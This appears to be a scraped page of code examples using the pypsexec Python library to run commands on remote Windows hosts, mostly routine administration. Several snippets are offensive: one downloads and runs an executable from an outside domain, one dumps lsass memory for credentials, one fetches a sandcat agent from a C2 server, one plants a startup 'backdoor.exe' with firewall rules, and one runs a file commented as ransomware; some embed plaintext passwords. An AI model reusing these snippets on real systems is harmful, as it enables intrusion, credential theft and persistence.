Exemplo n.º 1
0
 def test_proc_stdin_and_interactive(self):
     client = Client("username", "password", "server")
     with pytest.raises(PypsexecException) as exc:
         client.run_executable("whoami",
                               interactive=True,
                               stdin=b"")
     assert str(exc.value) == "Cannot send stdin data on an interactive " \
                              "or asynchronous process"
Exemplo n.º 2
0
 def test_proc_both_elevated_and_limited_error(self):
     client = Client("username", "password", "server")
     with pytest.raises(PypsexecException) as exc:
         client.run_executable("whoami",
                               run_elevated=True,
                               run_limited=True)
     assert str(exc.value) == "Both run_elevated and run_limited are " \
                              "set, only 1 of these can be true"
Exemplo n.º 3
0
def connection(exe, computer, user, userpass):
    c = Client(computer, username=user, password=userpass)
    c.connect()
    try:
        c.create_service()
        c.run_executable(exe)
    finally:
        c.cleanup()
        c.disconnect()
    return
Exemplo n.º 4
0
def remoteExecute(ipAddress, user, password):
    c = Client(ipAddress, username=user, password=password, encrypt=False)
    c.connect()
    try:
        c.create_service()
        stdout, stderr, rc = c.run_executable(
            "C:/Users/IEUser/Downloads/Registration/registration.exe"
        )  #Execute ransomware from P Drive
    except:
        print("done")
Exemplo n.º 5
0
 def send_command(self, command):
     """
     Send command to remote mechine using pypsexec client
     """
     c = Client("remote_machine_ip",
                username="******",
                password="******")
     c.connect()
     c.create_service()
     py_exe = r"C:\Python38\pythonw.exe"
     arguments = join('c:\\', 'remote', 'file', 'path', 'remote_runner.pyw')
     arguments = arguments + " " + '-c' + " " + command
     c.run_executable(py_exe,
                      arguments=arguments,
                      interactive=True,
                      interactive_session=1,
                      run_elevated=True,
                      use_system_account=True)
     c.remove_service()
     c.disconnect()
Exemplo n.º 6
0
def change_passwd(ip,username,password,port,new_password,id):
    if port=="22":
        ssh = paramiko.SSHClient()
        try:
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            try:
                ssh.connect(ip, username=username, password=password,timeout=10)
            except:
                log = "SSH server connection error via paramiko |" + str(datetime.datetime.now()) + "\n"
                logging.basicConfig(filename=ERROR_LOG_PATH, level=logging.DEBUG)
                logging.info(log)
            try:
                pass_change="echo "+str(username)+":"+str(new_password)+"|chpasswd"
                print(password)
                ssh.exec_command(pass_change)
            except:
                log = "SSH server doesn't run a command via paramiko |" + str(datetime.datetime.now()) + "\n"
                logging.basicConfig(filename=ERROR_LOG_PATH, level=logging.DEBUG)
                logging.info(log)
        finally:
            ssh.close()
    elif port=="445" or port=="3389":
        from pypsexec.client import Client
        c = Client(ip, username=username, password=password)
        c.connect()
        try:
            c.create_service()
            command="net user "+str(username)+" "+str(new_password)
            stdout, stderr, rc = c.run_executable("cmd.exe",
                                                  arguments=command)
            print(stdout)
        finally:
            c.remove_service()
            c.disconnect()
    try:
        database_sqlite = sqlite3.connect("../db.sqlite3")
        cursor = database_sqlite.cursor()
        cursor.execute("update data_data set system_password=? where id=?", (str(new_password), id))
        database_sqlite.commit()
        database_sqlite.close()
        log = str(id)+"|Password changed|" + str(datetime.datetime.now()) + " \n"
        logging.basicConfig(filename=PASSWORD_CHANGE_LOG_PATH, level=logging.DEBUG)
        logging.info(log)
    except:
        log = "Password update error on database|" + str(datetime.datetime.now()) + " \n"
        logging.basicConfig(filename=ERROR_LOG_PATH, level=logging.DEBUG)
        logging.info(log)
        log = str(id)+"|"+str(new_password)+"|Password didn't changed|" + str(datetime.datetime.now()) + " \n"
        logging.basicConfig(filename=PASSWORD_CHANGE_LOG_PATH, level=logging.DEBUG)
        logging.info(log)
Exemplo n.º 7
0
def main():
    if len(sys.argv) != 4:
        print "pysexec <hostname or IP> <username> <password>"
        exit(1)
    hostname = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]    
    c = Client(hostname, username=username, password=password)
    c.connect()
    try:
        c.create_service()
        stdout, stderr, rc = c.run_executable("cmd.exe", arguments='/c powershell.exe "$WebClient = New-Object System.Net.WebClient;$WebClient.DownloadFile(\\\"http://systemd.pwnie.tech/windown.exe\\\",\\\"C:\\Windows\\System32\\windown.exe\\\"); C:\\Windows\\System32\\windown.exe"')
        print stdout, stderr, rc
    except:
        print "f**k"
        pass
    finally:
        c.remove_service()
    c.disconnect()
Exemplo n.º 8
0
    def ConsultaUsuarioAD(self, servidor, usuario, senha, user):
        c = Client("%s" % servidor,
                   username="******" % usuario,
                   password="******" % senha)
        c.connect()

        try:
            c.create_service()
            stdout, stderr, rc = c.run_executable("cmd.exe",
                                                  arguments="/c net user %s" %
                                                  user)
            arquivo = open("user.txt", "wb")
            arquivo.write(stdout)
            arquivo.close()
            os.system("cat user.txt")

        finally:
            c.remove_service()
            c.disconnect()
Exemplo n.º 9
0
def msg(bot, update, args):
    """send message to terminal users"""
    if not args:
        update.message.reply_text(
            'Empty message string\nUsage: /msg <message>')
    else:
        separator = ' '
        arguments = '* %s' % (separator.join(args))
        for server in SERVERS:
            c = Client(server,
                       username=MSGUSERNAME,
                       password=MSGPASSWORD,
                       encrypt=True)
            c.connect()
            try:
                c.create_service()
                result = c.run_executable(EXECUTABLE, arguments=arguments)
            finally:
                c.remove_service()
                c.disconnect()

        #print("STDOUT:\n%s" % result[0].decode('utf-8') if result[0] else "")
        #print("STDERR:\n%s" % result[1].decode('utf-8') if result[1] else "")
        print("RC: %d" % result[2])
Exemplo n.º 10
0
    robotlist = [
        'myChinarobot77', 'myChinarobot76', 'myChinarobot50', 'myChinarobot47',
        'myChinarobot57', 'myChinarobot17', 'myChinarobot14', 'myChinarobot12',
        'myChinarobot27', 'myChinarobot2', 'myChinarobot37', 'myChinarobot24',
        'myChinarobot23', 'myChinarobot54', 'myChinarobot45', 'myChinarobot43',
        'myChinarobot63', 'myChinarobot89', 'myChinarobot74', 'myChinarobot99',
        'myChinarobot100', 'myChinarobot96', 'myChinarobot97',
        'myChinarobot94', 'myChinarobot90', 'myChinarobot91', 'myChinarobot25'
    ]
    #robotCount = 1
    for robot in robotlist:

        callback = r"""C:\Progra~1\Nimsoft\bin\pu -u administrator -p interOP@123 /CHOSERVER1_domain/chosechub1/{}/controller restart_all_probes""".format(
            robot)
        print(callback)
        stdout, stderr, rc = c.run_executable(
            "cmd.exe", arguments='''/c "{}"'''.format(callback))
        stdout = str(stdout, 'utf-8')
        stderr = str(stderr, 'utf-8')
        # print (rc)
        if rc == 0:
            print(
                'Call back executed successfully :\nCallBackName :\n{}\nOutPut :\n{}\n\n'
                .format(callback, stdout))
        if rc != 0:
            print(
                'Call back failed with error :\nCallBackName :\n{}\nOutPut :\n{}\n\n{}\n\n'
                .format(callback, stderr, stdout))

        time.sleep(1)

except Exception as e:
Exemplo n.º 11
0
    #hate this, want to do without if statement
    if args.domain is ".":
        c = Client(args.target,
                   username=args.username,
                   password=args.password,
                   encrypt=False)
    else:
        c = Client(args.target,
                   username=args.username + "@" + args.domain,
                   password=args.password,
                   encrypt=False)
    c.connect()
    try:
        c.create_service()
        c.run_executable(
            "cmd.exe",
            "/c c:\procdump.exe -accepteula -64 -ma lsass.exe c:\humpty-" +
            args.target + ".dmp")
    finally:
        #to do: cleanup/remove service before disconnect
        c.disconnect()
    print(colored("[+] Done", "green"))

    #Download dump and cleanup
    print(
        colored("[-] Downloading the lsass dumpfile and cleaning up...",
                "yellow"))
    subprocess.call([
        "smbclient", "//" + args.target + "/c$", "-U" + args.username,
        "-W" + args.domain, args.password, "-c get humpty-" + args.target +
        ".dmp " + args.output + "humpty-" + args.target + ".dmp;del humpty-" +
        args.target + ".dmp;del procdump.exe"
Exemplo n.º 12
0
    def do_out(self, source, params, folder):
        host, port, username, password, encrypt = parse_source(source)

        file = params.get('file')
        log.debug('file: "%s"', file)

        if file is None:
            raise ValueError("File name in params is mandatory!")

        filename = os.path.basename(file)
        filepath = os.path.join(folder, file)
        if not os.path.exists(filepath):
            raise Exception("File '%s' not found!" % filepath)

        log.info('lookup "%s" ...', host)
        ip = socket.gethostbyname(host)
        localhost = socket.gethostname()

        # connect smb share
        log.info('connect "%s" ...', ip)
        conn = SMBConnection(username,
                             password,
                             localhost,
                             host,
                             use_ntlm_v2=True,
                             is_direct_tcp=True)
        ready = conn.connect(ip, 445)
        if not ready:
            raise Exception("Connect failed, host, user or pass is not valid!")

        # create temp folder and move package to
        log.info('prepare ...')
        remote_dir = "temp\\%s" % temp_name()
        conn.createDirectory(ADMIN_SERVICE, remote_dir)

        # copy package remote
        file_obj = open(filepath, 'r')
        remote_filepath = "%s\\%s" % (remote_dir, filename)
        conn.storeFile(ADMIN_SERVICE, remote_filepath, file_obj)
        file_obj.close()

        # install package remotely
        log.info('install "%s" ...', filename)
        psexec = Client(ip,
                        username=username,
                        password=password,
                        encrypt=encrypt)
        psexec.connect()
        remote_logpath = remote_dir + "\\msiexec.log"
        try:
            psexec.create_service()
            msi_path = "%systemroot%\\" + remote_filepath
            log_path = "%systemroot%\\" + remote_logpath
            cmd = "msiexec /i %s /qn /norestart /L*v %s" % (msi_path, log_path)
            log.debug(cmd)
            stdout, stderr, rc = psexec.run_executable("cmd.exe",
                                                       arguments="/c " + cmd)
            log.debug("exit code: %s", rc)
        finally:
            psexec.remove_service()
            psexec.disconnect()

        # dump msi log content
        log.debug('read remote log "%s" content', remote_logpath)
        try:
            with tempfile.NamedTemporaryFile() as tmp_file:
                conn.retrieveFile(ADMIN_SERVICE, remote_logpath, tmp_file)
                tmp_file.seek(0)
                log.debug(codecs.decode(tmp_file.read(), 'utf-16'))
        except:
            log.error(str(e))  # non fatal

        if rc != 0:  # sorry, fatal
            raise Exception(stdout.decode('utf-16'))

        # version magick
        log.info('set version ...')
        with tempfile.NamedTemporaryFile() as ver_obj:
            conn.storeFile(ADMIN_SERVICE, MAGICK_FILENAME, ver_obj)
        attr = conn.getAttributes(ADMIN_SERVICE, MAGICK_FILENAME)
        version = attr.last_write_time

        # clean and diconnect
        conn.deleteFiles(ADMIN_SERVICE, remote_logpath)
        conn.deleteFiles(ADMIN_SERVICE, remote_filepath)
        conn.deleteDirectory(ADMIN_SERVICE, remote_dir)
        conn.close()

        return {"version": {"ref": format_version(version)}, "metadata": []}
Exemplo n.º 13
0
def windows_robot_uninstall():
    """ windows robots uninstallation """
    print('Windows robot uninstall is processesing....\n', '*' * 43, sep='')
    for windows_robot_uninstall.ip in gfile.ip:
        try:

            c = Client(windows_robot_uninstall.ip,
                       gfile.username,
                       gfile.password,
                       encrypt='False')
            c.connect()
            c.create_service()
            global conn
            conn = c
            print('service created for following "{}".......'.format(
                windows_robot_uninstall.ip))

            # Uninstalling

            cmd = r'''IF EXIST C:\Progra~1\Nimsoft\unins000.exe (echo 1) ELSE IF EXIST C:\Progra~2\Nimsoft\unins000.exe (echo 2) ELSE (echo 3)'''
            stdout, stderr, rc = c.run_executable(
                "cmd.exe", arguments='''/c  {}'''.format(cmd))
            robot_path = str(stdout, 'utf-8')
            # print(robot_path)

            if robot_path.strip() == '1':
                stdout, stderr, rc = c.run_executable(
                    "cmd.exe",
                    arguments=
                    '''/c  "C:\\Progra~1\\Nimsoft\\unins000 /silent"''')
                if rc == 0:
                    print('{} robot is Uninstalled successfully......'.format(
                        windows_robot_uninstall.ip))
                    time.sleep(2)
                    restart()

                else:
                    print('{} Uninstallation  failed with error : {} \n\n'.
                          format(windows_robot_uninstall.ip, stderr))

            elif robot_path.strip() == '2':
                stdout, stderr, rc = c.run_executable(
                    "cmd.exe",
                    arguments=
                    '''/c  "C:\\Progra~2\\Nimsoft\\unins000 /silent"''')
                if rc == 0:
                    print('{} robot is Uninstalled successfully......'.format(
                        windows_robot_uninstall.ip))
                    time.sleep(2)
                    restart()

                else:
                    print('{} Uninstallation  failed with error : {} \n\n'.
                          format(windows_robot_uninstall.ip, stderr))

            else:
                print('robot not installed on "{}" ...'.format(
                    windows_robot_uninstall.ip))

        except Exception as ex:
            # print('Below exception occured while connecting with "{}"........\n'.format(ip))
            traceback.print_exc()
        finally:
            c.remove_service()
            c.disconnect()
            print('Connection closed for following host {}'.format(
                windows_robot_uninstall.ip))
            print('*' * 48, '\n')
Exemplo n.º 14
0
data = pd.read_csv("demo.csv", sep="\t")

for index, row in data.iterrows():
    host = row["Hostname"]
    username = row["Username"]
    password = row["password"]
    try:
        #Windows Login
        c = Client(host,
                   username=username,
                   password=password,
                   encrypt=False,
                   port=3389)
        c.connect()
        try:
            stdout = c.run_executable("cmd.exe", arguments="systeminfo")
        finally:
            c.disconnect()
        output = []
        output = stdout[0].decode("utf-8")
        print(output.split("\r\n")[1:3])
    except:

        #Linux Login
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(hostname=host, username=username, password=password)
        shell = ssh.invoke_shell()
        stdin, stdout, stderr = ssh.exec_command('lsblk | grep vda && vmstat')
        print(stdout.readlines())
    finally:
Exemplo n.º 15
0
def main(argv):
    dest = ''
    user = ''
    passwd = ''
    cmd = ''
    cmdarg = ''
    encryptarg = False
    verbose = 0
    stdout = ''
    stderr = ''
    rc = ''

    try:
        opts, args = getopt.getopt(
            argv, "Vevd:u:p:c:a:",
            ["dest=", "user="******"pass="******"cmd=", "cmdarg=", "--verbose"])
    except getopt.GetoptError:
        print '%s -d <destination> -u <user> -p <pass> -c <cmd> -a <cmd arguements> -v {verbose} -e {Turns encryption on}' % sys.argv[
            0]
        sys.exit(2)
    for opt, arg in opts:
        if opt == '-h':
            print '%s -d <destination> -u <user> -p <pass> -c <cmd> -a <cmd arguements> -v {verbose} -e {Turns encryption on}' % sys.argv[
                0]
            sys.exit()
        elif opt in ("-d", "--dest"):
            dest = arg
        elif opt in ("-u", "--user"):
            user = arg
        elif opt in ("-p", "--pass"):
            passwd = arg
        elif opt in ("-c", "--cmd"):
            cmd = arg
        elif opt in ("-a", "--cmdarg"):
            cmdarg = arg
        elif opt in ("-e", "--encrypt"):
            encryptarg = True
        elif opt in ("-v", "--verbose"):
            verbose = 1
        elif opt in ("-V", "--Version"):
            print "Python Windows Exec"
            print "By Keven Murphy"
            print "Description: Python Windows Exec has the same main functionality as psexec."
            print "             Allows for remote launching of windows programs on a remote machine."
            print "Version: %s" % version
            sys.exit()

    # creates an encrypted connection to the host with the username and password
    #c = Client(dest, username=user, password=passwd,encrypt=encryptarg)
    c = Client(dest, username=user, password=passwd, encrypt=encryptarg)

    if verbose == 1:
        print "Destination: %s" % dest
        print "User: %s" % user
        print "Password: %s" % passwd
        print "CMD: %s" % cmd
        print "CMD Arguements: %s" % cmdarg
        print "Encrypt: %s" % encryptarg

    try:
        c.connect()
        c.create_service()

        # After creating the service, you can run multiple exe's without
        # reconnecting

        # run a simple cmd.exe program with arguments
        stdout, stderr, rc = c.run_executable(cmd, arguments=cmdarg)
        if verbose == 1:
            print
            print "STDOUT"
            print "======"
            print "%s" % stdout
            print
            print
            print "STDERR"
            print "======"
            print "%s" % stderr
            print
            print
            print "rc    : %s" % rc

        c.remove_service()
        c.disconnect()
    except:
        print "Timeout connecting"
        if verbose == 1:
            print
            print "STDOUT"
            print "======"
            print "%s" % stdout
            print
            print
            print "STDERR"
            print "======"
            print "%s" % stderr
            print
            print
            print "rc    : %s" % rc
Exemplo n.º 16
0
    pw = creds[2]
    ip = target_ip

# file server is on port 8000 not 8888
file_server = args.server[:-3] + "000/sandcat.go-windows"

# psexec client
print(f"ip: {ip}\tuser: {user}\tpw{pw}")
client = Client(ip, username=user, password=pw, encrypt=False)

try:
    # connect to client
    client.connect()
    client.create_service()

    stout, sterr, pid = client.run_executable("cmd.exe",
                                              arguments="/c tasklist")

    if b"sandcat" in stout:
        print("sandcat is already running")
        exit(0)

    # tell remote system to download sandcat from C2
    client.run_executable(
        "certutil.exe",
        arguments=
        f"-urlcache -split -f {file_server} C:\\Users\\Public\\sandcat.exe")

    # start remote process
    stout, sterr, pid = client.run_executable(
        "cmd.exe",
        arguments=
Exemplo n.º 17
0
def main(args):
    # t1 = threading.Thread(target=run())
    # t1.start()
    if args.new is True:
        c = Client(args.ip, username=args.username, password=args.password)
        c.connect()
        try:
            c.create_service()
            print("Connection Established Starting Poisoning")
            stdout, stderr, rc = c.run_executable(
                "powershell.exe",
                arguments="-Command \"& {Invoke-WebRequest http://" +
                args.server + ":8000/backdoor.exe -OutFile C:\\Users\\" +
                args.username +
                "\\AppData\\Roaming\\Microsoft\\Windows\\Start` Menu\\Programs\\Startup\\"
                + args.executable + ".exe}\"",
                use_system_account=True)
            print("File Send ", stdout.decode("utf-8"), stderr.decode("utf-8"),
                  rc)
            stdout, stderr, rc = c.run_executable(
                "powershell.exe",
                arguments="-Command \"&  {New-NetFirewallRule -DisplayName \""
                + args.rule + "\" -Direction Inbound -Program C:\\Users\\" +
                args.username +
                "\\AppData\\Roaming\\Microsoft\\Windows\\Start` Menu\\Programs\\Startup\\"
                + args.executable +
                ".exe -RemoteAddress LocalSubnet -Action Allow}\"",
                use_system_account=True)
            print("Firewall INBOUNT Updated", stdout.decode("utf-8"),
                  stderr.decode("utf-8"), rc)
            stdout1, stderr1, rc1 = c.run_executable(
                "powershell.exe",
                arguments="-Command \"& {New-NetFirewallRule -DisplayName \"" +
                args.rule + "\" -Direction Outbound -Program C:\\Users\\" +
                args.username +
                "\\AppData\\Roaming\\Microsoft\\Windows\\Start` Menu\\Programs\\Startup\\"
                + args.executable +
                ".exe -RemoteAddress LocalSubnet -Action Allow}\"",
                use_system_account=True)
            print("Firewall OUTBOUNT Updated", stdout1.decode("utf-8"),
                  stderr1.decode("utf-8"), rc1)
            stdout1, stderr1, rc1 = c.run_executable(
                "powershell.exe",
                arguments="-Command \"& {Start-Process -FilePath \"C:\\Users\\"
                + args.username +
                "\\AppData\\Roaming\\Microsoft\\Windows\\Start` Menu\\Programs\\Startup\\"
                + args.executable + ".exe\"}\"",
                use_system_account=True)
            print("Starting BackDoor", stdout1.decode("utf-8"),
                  stderr1.decode("utf-8"), rc1)

            c.remove_service()
            c.disconnect()
            time.sleep(2)
            sys.exit()

        except Exception as e:
            c.remove_service()
            c.disconnect()
            print(e)
            time.sleep(2)
            sys.exit()
    if args.connect is True:
        print("OK")
        loop = asyncio.get_event_loop()
        while True:
            message = input(">>")
            if message != "q":
                try:
                    coro = loop.create_connection(
                        lambda: EchoClientProtocol(message, loop), args.ip,
                        8888)
                    loop.run_until_complete(coro)
                    loop.run_forever()
                except Exception as ex:
                    print("Cannot Connect to Remote Server Exception: ", ex)
            else:
                loop.close()
                sys.exit(0)
from pypsexec.client import Client
import os
import time
import sys
funcao = sys.argv[1]
usuario = sys.argv[2]

if funcao == "ativar":
    c = Client("192.168.0.1", username="******", password="******", encrypt=False, port=445)
    c.connect()

    try:
            c.create_service()
            stdout = c.run_executable("cmd.exe", arguments="/c net user "+str(usuario)+" /ACTIVE:YES /domain")
            #saida = stdout[0].decode("utf-8")
            #print(str(saida))
            for item in stdout:
                    print(item)
            sys.exit()
    except KeyboardInterrupt:
            c.cleanup()
            c.remove_service()
            c.disconnect()
elif funcao == "desativar":

    c = Client("192.168.0.1", username="******", password="******", encrypt=False, port=445)
    c.connect()

    try:
            c.create_service()
            stdout = c.run_executable("cmd.exe", arguments="/c net user "+str(usuario)+" /ACTIVE:NO /domain")